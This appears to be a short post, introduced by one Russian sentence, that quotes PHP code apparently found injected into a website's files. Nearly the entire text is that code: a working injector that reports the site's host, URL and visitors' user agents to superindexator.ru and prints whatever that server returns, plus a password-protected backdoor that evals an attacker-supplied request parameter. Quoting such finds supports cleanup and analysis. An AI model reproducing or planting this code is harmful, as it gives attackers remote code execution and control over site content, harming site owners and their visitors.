Вот, часть кодированного содержимого файлов
if (isset($ibv)) { echo $ibv; } else { error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$url = "http://superindexator.ru/get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("44462c2f3d208fa19b15e3398613e684".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("superindexator.ru", 80, $errno, $errstr, 30);
if ($fp) {
$out = "GET /get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("44462c2f3d208fa19b15e3398613e684".$d.$u.$c."1")." HTTP/1.1\r\n";
$out .= "Host: superindexator.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$resp = "";
while (!feof($fp)) {
$resp .= fgets($fp, 128);
}
fclose($fp);
list($header, $body) = preg_split("/\R\R/", $resp, 2);
$ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "766d17b8") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv;}